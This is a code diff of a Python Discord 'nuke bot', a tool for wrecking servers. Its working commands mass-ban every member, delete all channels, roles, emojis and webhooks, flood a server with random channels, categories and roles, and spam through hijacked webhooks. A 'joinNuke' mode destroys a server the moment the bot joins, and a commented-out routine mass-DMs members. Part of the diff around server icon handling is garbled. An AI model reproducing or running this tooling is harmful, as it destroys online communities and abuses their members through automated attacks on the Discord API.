-1100,9 +1097,8 @@ async def channelBomb(ctx, n, method='fixed'): q.join() consoleLog('Done text channel bombing.', True) - @commands.check(checkPerm) -@client.command(name='categoryBomb', description='Makes a ton of random categorys in the connected server.') +@client.command(name='categoryBomb') async def categoryBomb(ctx, n, method): if not await hasTarget(ctx): return @@ -1133,9 +1129,8 @@ async def categoryBomb(ctx, n, method): q.join() consoleLog('Done category bombing.', True) - @commands.check(checkPerm) -@client.command(name='roleBomb', description='Makes a ton of random roles in the connected server.') +@client.command(name='roleBomb') async def roleBomb(ctx, n, method): if not await hasTarget(ctx): return @@ -1143,7 +1138,7 @@ async def roleBomb(ctx, n, method): if not n.isdigit() or (n := int(n)) < 0: await log(ctx, 'Please insert an integer that is greater than 0.') return - + if method == 'fixed': method = fixedChoice elif method == 'b64': @@ -1164,15 +1159,49 @@ async def roleBomb(ctx, n, method): q.join() consoleLog('Done role bombing.', True) +# @commands.check(checkPerm) +# @client.command(name='massDM', aliases=['md']) +# async def massDM(ctx, command, *, args=None): +# if len(server_members) == 0: +# await log(ctx, 'You don\'t have anything anyone to dm with :(. Fetch some members.') +# return + +# if args is not None: +# args = args.split() + +# if command == 'channels' or command == 'channel': +# if args is None: +# args = [] +# args.append('1') +# members_ = [] +# for i in range(len(server_members)): +# if members_[i].channel_id is not None: +# members_[i].id = members_[i].channel_id + +# await embed(ctx, args[0], 'MassDM targets', members_) +# elif command == 'load': +# for member_ in server_members: +# print(member_.name) +# if int(member_.id) == client.user.id: +# continue +# # asdf = requests.post('https://discordapp.com/api/v8/users/@me/channels', headers=headers, json={'recipient_id': member_.id}, proxies=randomProxy('https'), timeout=timeout).json() +# member_.__init__(member_.name, member_.id, member_.discriminator, client.get_user(member_.id).dm_channel.id) +# elif command == 'start': +# massDM_channels = [i.channel_id for i in server_members if i.channel_id is not None] +# if len(massDM_channels) == 0: +# await log(ctx, 'You don\'t have any DM loaded.') +# return +# for channel_id in massDM_channels: +# q.put((f'https://discordapp.com/api/v8/channels{channel_id}/messages', headers)) ######### webhooks ########## @commands.check(checkPerm) -@client.command(name='webhook', aliases=['webhooks', 'wh'], description='Creates, Attacks, Lists all of the weebhooks in the connected server.') +@client.command(name='webhook', aliases=['webhooks', 'wh']) async def webhook(ctx, *, args=None): if not await hasTarget(ctx): return - if args is None or args.isdigit(): # webhook list + if args is None or args.isdigit(): # webhook list if args is None: args = '1' try: @@ -1181,12 +1210,11 @@ async def webhook(ctx, *, args=None): except: raise args = args.split() - if args[0] == 'create' or args[0] == 'add': # webhook create + if args[0] == 'create' or args[0] == 'add': # webhook create global headers args.pop(0) if len(args) < 1: - await log(ctx, - f'More arguments is requested. You can put how many webhooks you want to create or channel id/name on the channels you want the webhooks to be created on.') + await log(ctx, f'More arguments is requested. You can put how many webhooks you want to create or channel id/name on the channels you want the webhooks to be created on.') return name = ' '.join(args) @@ -1198,22 +1226,18 @@ async def webhook(ctx, *, args=None): await log(ctx, f'A smol negative number will break this bot?') return - if len(channels) == 1 and int(name) <= 50: ## probably will replace this with auto check channel id + if len(channels) == 1 and int(name) <= 50: ## probably will replace this with auto check channel id channels = selected_server.text_channels if int(name) > len(channels): - await log(ctx, - f'This adding webhooks method can only distribute webhooks evenly and randomly throughout the text channels. You entered `{name}`, and there are only `{str(len(channels))}` text channel(s) in the server. If you don\'t what to add more text channels. You can use this command a few more times with a positive integer that is less than `{str(len(channels) + 1)}`.') + await log(ctx, f'This adding webhooks method can only distribute webhooks evenly and randomly throughout the text channels. You entered `{name}`, and there are only `{str(len(channels))}` text channel(s) in the server. If you don\'t what to add more text channels. You can use this command a few more times with a positive integer that is less than `{str(len(channels) + 1)}`.') return for i in range(int(name)): payload = {'name': random_b64()} - q.put((requests.post, - f'https://discord.com/api/v8/channels/{channels.pop(randrange(len(channels))).id}/webhooks', - headers, payload)) + q.put((requests.post, f'https://discord.com/api/v8/channels/{channels.pop(randrange(len(channels))).id}/webhooks', headers, payload)) q.join() await log(ctx, f'`{name}` webhooks has been created.') elif len(channels) == 1 and int(name) < 100000000: - await log(ctx, - f'The maximum webhooks that can be created every hour per server is 50. And you entered `{name}`.') + await log(ctx, f'The maximum webhooks that can be created every hour per server is 50. And you entered `{name}`.') else: for channel in channels: checked_channel = containing(selected_server.text_channels, channel) @@ -1221,8 +1245,7 @@ async def webhook(ctx, *, args=None): await log(ctx, f'Cannot find channel {channel}.') continue payload = {'name': random_b64()} - q.put((requests.post, f'https://discord.com/api/v8/channels/{checked_channel.id}/webhooks', headers, - payload)) + q.put((requests.post, f'https://discord.com/api/v8/channels/{checked_channel.id}/webhooks', headers, payload)) elif args[0] == 'delete' or args[0] == 'remove': name = args[1] @@ -1233,10 +1256,10 @@ async def webhook(ctx, *, args=None): requests.delete(f'https://discord.com/api/v8/webhooks/{webhook.id}', headers=headers) await log(ctx, f'Webhook `{webhook.name}` is removed from the server.') - + elif args[0] == 'attack': global webhook_targets - args.pop(0) # Removing the attack keyword + args.pop(0) # Removing the attack keyword try: webhooks = await selected_server.webhooks() webhooks_length = len(webhooks) @@ -1248,9 +1271,9 @@ async def webhook(ctx, *, args=None): elif args[0] == 'start': target_list_length = len(webhook_targets) if target_list_length == 0: - await log(ctx, - f'You don\'t have anything in the attack list. It\'s really not a good idea to waste your wifi bandwidth and your cpu. Maybe try: `{command_prefix}webhook attack all` or `webhook attack 5`.') - headers = { + await log(ctx, f'Looks like there really isn\'t any targets in the attack list. Maybe try: `{command_prefix}webhook attack all`, then `{command_prefix}webhook attack start `.') + return + _headers = { 'content-type': 'application/json' } @@ -1259,19 +1282,19 @@ async def webhook(ctx, *, args=None): elif not args[1].isdigit(): await log(ctx, 'Please enter a positive integer.') return - + usernames_length = len(webhook_spam['usernames']) contents_length = len(webhook_spam['contents']) pfp_length = len(webhook_spam['pfp_urls']) - + for i in range(int(args[1])): payload = { - 'username': webhook_spam['usernames'][randrange(usernames_length)], - 'content': webhook_spam['contents'][randrange(contents_length)], - 'avatar_url': webhook_spam['pfp_urls'][randrange(pfp_length)] + 'username': choice(webhook_spam['usernames']), + 'content': choice(webhook_spam['contents']), + 'avatar_url': choice(webhook_spam['pfp_urls']) } - q.put((requests.post, webhook_targets[randrange(target_list_length)].url, headers, payload)) - + q.put((requests.post, webhook_targets[randrange(target_list_length)].url, _headers, payload)) + elif len(args) > 0 and args[0].isdigit() and int(args[0]) <= webhooks_length: for i in range(int(args[0])): webhook_targets.append(webhooks.pop(randrange(webhooks_length))) @@ -1298,14 +1321,14 @@ async def webhook(ctx, *, args=None): except: raise - + else: await log(ctx, f'Unable to find `{args[0]}` command in webhook scripts.') - + ######### Nukes ######### @commands.check(checkPerm) -@client.command(name='nuke', description='combines the banAll, deleteAllChannels, deleteAllEmojis, deleteAllRoles, deleteAllWebhooks commands into one big command. Also changes the connected servers name and icon.') +@client.command(name='nuke') async def nuke(ctx): if not await hasTarget(ctx): return @@ -1315,8 +1338,8 @@ async def nuke(ctx): await asyncio.gather(*tasks) if len(after) > 0: - if selected_server.id == ctx.guild.id: ## this will still cause an id not found error: fix this later - ctx.message.channel = None + if selected_server.id == ctx.guild.id: ## this will still cause an id not found error: fix this later + ctx.message.channel = None consoleLog(f'{Fore.BLUE}Running after commands...', True) for command in after: @@ -1327,31 +1350,26 @@ async def nuke(ctx): # if not server_changes and command.lower().startswith(('si', 'sn', 'servericon', 'changeservericon', 'servername', 'changeservername')): # pass except: - consoleLog( - f'{Fore.RED}Command {Fore.YELLOW}"{command_prefix}{command}" {Fore.RED}has failed to execute.', - True) + consoleLog(f'{Fore.RED}Command {Fore.YELLOW}"{command_prefix}{command}" {Fore.RED}has failed to execute.', True) pass consoleLog(f'{Fore.GREEN}After commands completed.') - @commands.check(checkPerm) -@client.command(name='deleteAllRoles', aliases=['dar', 'dAllRoles'], description='Deletes all roles in the connected server.') +@client.command(name='deleteAllRoles', aliases=['dar', 'dAllRoles']) async def deleteAllRoles(ctx): if not await hasTarget(ctx): return consoleLog(f'{Fore.YELLOW}Starting to delete all roles...', True) for role in selected_server.roles: - q.put( - (requests.delete, f'https://discord.com/api/v8/guilds/{selected_server.id}/roles/{role.id}', headers, None)) - + q.put((requests.delete, f'https://discord.com/api/v8/guilds/{selected_server.id}/roles/{role.id}', headers, None)) + q.join() consoleLog(f'{Fore.GREEN}Finished deleting roles.', True) - @commands.check(checkPerm) -@client.command(name='deleteAllChannels', aliases=['dac', 'dAllChannels'], description='Deletes all channels in the connected server.') +@client.command(name='deleteAllChannels', aliases=['dac', 'dAllChannels']) async def deleteAllChannels(ctx): if not await hasTarget(ctx): return @@ -1359,28 +1377,25 @@ async def deleteAllChannels(ctx): consoleLog(f'{Fore.YELLOW}Starting to delete all types of channels...', True) for channel in selected_server.channels: q.put((requests.delete, f'https://discord.com/api/v8/channels/{channel.id}', headers, None)) - + q.join() consoleLog(f'{Fore.GREEN}Finished deleting channels.', True) - @commands.check(checkPerm) -@client.command(name='deleteAllEmojis', aliases=['dae', 'dAllEmoji'], description='Deletes all emojis in the connected server.') +@client.command(name='deleteAllEmojis', aliases=['dae', 'dAllEmoji']) async def deleteAllEmojis(ctx): if not await hasTarget(ctx): return consoleLog(f'{Fore.YELLOW}Starting to delete all emojis...', True) for emote in selected_server.emojis: - q.put((requests.delete, f'https://discord.com/api/v8/guilds/{selected_server.id}/emojis/{emote.id}', headers, - None)) - + q.put((requests.delete, f'https://discord.com/api/v8/guilds/{selected_server.id}/emojis/{emote.id}', headers, None)) + q.join() consoleLog(f'{Fore.GREEN}Finished deleting emojis.', True) - @commands.check(checkPerm) -@client.command(name='deleteAllWebhooks', aliases=['daw', 'dAllWebhooks'], description='Deletes akk webhooks in the connected server.') +@client.command(name='deleteAllWebhooks', aliases=['daw', 'dAllWebhooks']) async def deleteAllWebhooks(ctx): if not await hasTarget(ctx): return @@ -1388,43 +1403,40 @@ async def deleteAllWebhooks(ctx): consoleLog(f'{Fore.YELLOW}Starting to delete all webhooks...', True) for webhook in await selected_server.webhooks(): q.put((requests.delete, f'https://discord.com/api/v8/webhooks/{webhook.id}', headers, None)) - + q.join() consoleLog(f'{Fore.GREEN}Finished deleting webhooks.', True) - @commands.check(checkPerm) -@client.command(name='banAll', description='bans everyone it can in the connected server.') +@client.command(name='banAll') async def banAll(ctx): if not await hasTarget(ctx): return - payload = {'delete_message_days': '0', 'reason': ''} + payload = {'delete_message_days':'0', 'reason': ''} consoleLog(f'{Fore.YELLOW}Starting ban all...', True) - for member in selected_server.members: - q.put((requests.put, f'https://discord.com/api/v8/guilds/{selected_server.id}/bans/{member.id}', headers, - payload)) - + for member_ in selected_server.members: + q.put((requests.put, f'https://discord.com/api/v8/guilds/{selected_server.id}/bans/{member_.id}', headers, payload)) + q.join() consoleLog(f'{Fore.GREEN}Ban all completed.', True) - ## Additional functions ## @commands.check(checkPerm) -@client.command(name='checkRolePermissions', aliases=['check', 'crp'], description='Checks a roles permissions.') +@client.command(name='checkRolePermissions', aliases=['check', 'crp']) async def checkRolePermissions(ctx, name, n='1'): if not await hasTarget(ctx): return if not n.isdigit() or (n := int(n) - 1) < 0: await log(ctx, 'Bad page number.') return - member = containing(selected_server.members, nameIdHandler(name)) - if member is None: + member_ = containing(selected_server.members, nameIdHandler(name)) + if member_ is None: await log(ctx, f'Unable to found {name}.') return - value = member.guild_permissions.value + value = member_.guild_permissions.value - temp = sorted(member.guild_permissions, key=lambda p: p) + temp = sorted(member_.guild_permissions, key=lambda p: p) master_list = '' item_length = 31 @@ -1444,33 +1456,25 @@ async def checkRolePermissions(ctx, name, n='1'): else: master_list += ':x: ' master_list += item.replace('_', ' ').capitalize() + '\n' - - if not isDM( - ctx) and ctx.guild.id == selected_server.id and 1 << 11 & selected_server_member_bot.guild_permissions.value == 0: - consoleLog('\n%s*Check role permissions*\n%sPermission value -> %s%d : 2147483647\n%s %s%d/%d' % ( - Fore.CYAN, Fore.RESET, Fore.YELLOW, value, - master_list.replace(':white_check_mark:', f'{Fore.GREEN}+').replace(':x:', f'{Fore.RED}-'), Fore.YELLOW, - n + 1, - ceil(item_length / per_page)), True) + + if not isDM(ctx) and ctx.guild.id == selected_server.id and 1 << 11 & selected_server.me.guild_permissions.value == 0: + consoleLog('\n%s*Check role permissions*\n%sPermission value -> %s%d : 2147483647\n%s %s%d/%d' % (Fore.CYAN, Fore.RESET, Fore.YELLOW, value, master_list.replace(':white_check_mark:', f'{Fore.GREEN}+').replace(':x:', f'{Fore.RED}-'), Fore.YELLOW, n+1, ceil(item_length / per_page)), True) else: try: embed = discord.Embed( - title='User permissions', - description=f'Encoded value: {str(value)} : 2147483647', - color=discord.Color.red() + title = 'User permissions', + description = f'Encoded value: {str(value)} : 2147483647', + color = discord.Color.red() ) embed.add_field(name='Permissions', value=master_list, inline=True) - embed.set_footer(text=f'{str(n + 1)}/{str(ceil(item_length / per_page))}') + embed.set_footer(text=f'{str(n+1)}/{str(ceil(item_length / per_page))}') await ctx.send(embed=embed) except: - await ctx.send('```diff\n%s %d/%d```' % ( - master_list.replace(':white_check_mark:', '+').replace(':x:', '-'), n + 1, - ceil(item_length / per_page))) - + await ctx.send('```diff\n%s %d/%d```' % (master_list.replace(':white_check_mark:', '+').replace(':x:', '-'), n+1, ceil(item_length / per_page))) @commands.check(checkPerm) -@client.command(name='si', aliases=['serverIcon', 'changeServerIcon'], description='Changes the server icon in the connected server.') +@client.command(name='si', aliases=['serverIcon', 'changeServerIcon']) async def si(ctx, path=None): if not await hasTarget(ctx): return @@ -1478,31 +1482,29 @@ async def si(ctx, path=None): if path is None: await selected_server.edit(icon=None) await log(ctx, f'Successfully removed the server icon from `{selected_server.name}`.') - elif path.startswith(('https://', 'http://', 'ftp://', 'ftps://')): # Link EX: https://www.example.com/aaa.png + elif path.startswith(('https://', 'http://', 'ftp://', 'ftps://')): # Link EX: https://www.example.com/aaa.png try: await selected_server.edit(icon=BytesIO(requests.get(path).content).read()) consoleLog('Successfully changed the current server icon.') except: consoleLog(f'Unable to change the server icon to "{path}".') - elif path[0] == '<': # EX: + elif path[0] == '<': # EX: path = path.split(':') try: - if path[0] == ' {Fore.GREEN}Left {Fore.RESET}{selected_server.name}.', - True) + consoleLog(f'{Fore.BLUE}Goodbye {selected_server.name}! {Fore.YELLOW}-> {Fore.GREEN}Left {Fore.RESET}{selected_server.name}.', True) else: await log(ctx, f'Goodbye {selected_server.name}! -> Left {selected_server.name}.') - @commands.check(checkPerm) -@client.command(name='leaveAll', description='Leaves all servers it is in') +@client.command(name='leaveAll') async def leaveAll(ctx): await log(ctx, 'Leaving all servers. Note: You won\'t be able to message me after I left all servers.') for server in client.guilds: - await server.leave() + await server.leave() consoleLog('Left all servers.', True) - @commands.check(checkPerm) -@client.command(name='joinNuke', aliases=['nukeOnJoin', 'join nuke'], description='When it joins the server it nukes immediately.') +@client.command(name='joinNuke', aliases=['nukeOnJoin', 'join nuke']) async def joinNuke(ctx, true_or_false): global saved_ctx, nuke_on_join if true_or_false.lower() == 'true': @@ -1586,9 +1580,8 @@ async def joinNuke(ctx, true_or_false): else: await log(ctx, 'Invalid flag: true or false. Note: true or false is not case sensitive.') - @commands.check(checkPerm) -@client.command(name='changeStatus', aliases=['cs'], description='Changes the status of the bot.') +@client.command(name='changeStatus', aliases=['cs']) async def changeStatus(ctx, status): if status == 'offline': await client.change_presence(status=discord.Status.offline) @@ -1601,50 +1594,46 @@ async def changeStatus(ctx, status): elif status == 'dnd' or status == 'do_not_disturb': await client.change_presence(status=discord.Status.do_not_disturb) - @commands.check(checkPerm) -@client.command(name='link', aliases=['l'], description='Sends an invite code for the bot.') +@client.command(name='link', aliases=['l']) async def link(ctx): if not is_selfbot: - await ctx.channel.send( - f'https://discord.com/api/oauth2/authorize?client_id={client.user.id}&permissions={bot_permission}&scope=bot') + await ctx.channel.send(f'https://discord.com/api/oauth2/authorize?client_id={client.user.id}&permissions={bot_permission}&scope=bot') else: - await log(f'This account is not a bot :). You can join servers with invite codes.') - + await log(ctx, f'This account is not a bot :). You can join servers with invite codes.') @commands.check(checkPerm) -@client.command(name='autoNick', aliases=['an'], description='Nick a player in the connected server') +@client.command(name='autoNick', aliases=['an']) async def autoNick(ctx): if not await hasTarget(ctx): return # global headers - global auto_nick, selected_server_member_bot + global auto_nick if not auto_nick: consoleLog(f'{Fore.CYAN}Auto nickname is on.', True) auto_nick = True while auto_nick: # payload = {'nick': ''.join(choice(alphanum) for _ in range(10))} # q.put((requests.patch, f'https://discord.com/api/v8/guilds/{selected_server.id}/members/%40me/nick', headers, payload)) - - await selected_server_member_bot.edit(nick=''.join(choice(alphanum) for _ in range(10))) + + await selected_server.me.edit(nick=''.join(choice(alphanum) for _ in range(10))) else: consoleLog(f'{Fore.BLUE}Auto nickname is off.', True) auto_nick = False - @commands.check(checkPerm) -@client.command(name='autoStatus', aliases=['as'], description='Makes a status for the bot') +@client.command(name='autoStatus', aliases=['as']) async def autoStatus(ctx): + global auto_status if not auto_status: consoleLog(f'{Fore.CYAN}Auto status is on.', True) auto_status = True while auto_status: await client.change_presence(status=discord.Status.online) - await asyncio.sleep( - random() + 0.3) # Theres a rate limit for changing status every minute or 5 minutes i havent figure out the exact number but ill stay with this sleep commmand + await asyncio.sleep(random() + 0.3) # Theres a rate limit for changing status every minute or 5 minutes i havent figure out the exact number but ill stay with this sleep commmand await client.change_presence(status=discord.Status.offline) await asyncio.sleep(random() + 0.3) else: @@ -1653,20 +1642,17 @@ async def autoStatus(ctx): @commands.check(checkPerm) -@client.command(name='off', aliases=['logout', 'logoff', 'shutdown', 'stop'], description='Turns off the bot.') +@client.command(name='off', aliases=['logout', 'logoff', 'shutdown', 'stop']) async def off(ctx=None): ### Discord takes too long to realize if the bot is offline people might get confused about the not turning off the bot vs discord takes time to update - await client.change_presence(status=discord.Status.offline) + await changeStatus(None, 'offline') await client.logout() - ###### Closing handler ###### ###### https://github.com/aio-libs/aiohttp/issues/4324 from functools import wraps from asyncio.proactor_events import _ProactorBasePipeTransport - - def silence_event_loop_closed(func): @wraps(func) def wrapper(self, *args, **kwargs): @@ -1675,10 +1661,7 @@ def wrapper(self, *args, **kwargs): except RuntimeError as e: if str(e) != 'Event loop is closed': raise - return wrapper - - _ProactorBasePipeTransport.__del__ = silence_event_loop_closed(_ProactorBasePipeTransport.__del__) try: @@ -1687,8 +1670,7 @@ def wrapper(self, *args, **kwargs): # print('Invalid token is being used.') # exit() except discord.PrivilegedIntentsRequired: - print( - 'PrivilegedIntentsRequired: Shard ID None is requesting privileged intents that have not been explicitly enabled in the developer portal. It is recommended to go to https://discord.com/developers/applications/ and explicitly enable the privileged intents within your application\'s page. If this is not possible, then consider disabling the privileged intents in the bot\'s source code instead. Or go visit https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot to see how to properly add privileged intents.') + print('PrivilegedIntentsRequired: Shard ID None is requesting privileged intents that have not been explicitly enabled in the developer portal. It is recommended to go to https://discord.com/developers/applications/ and explicitly enable the privileged intents within your application\'s page. If this is not possible, then consider disabling the privileged intents in the bot\'s source code instead. Or go visit https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot to see how to properly add privileged intents.') exit() finally: - print('Exiting...') + print('Exiting...') \ No newline at end of file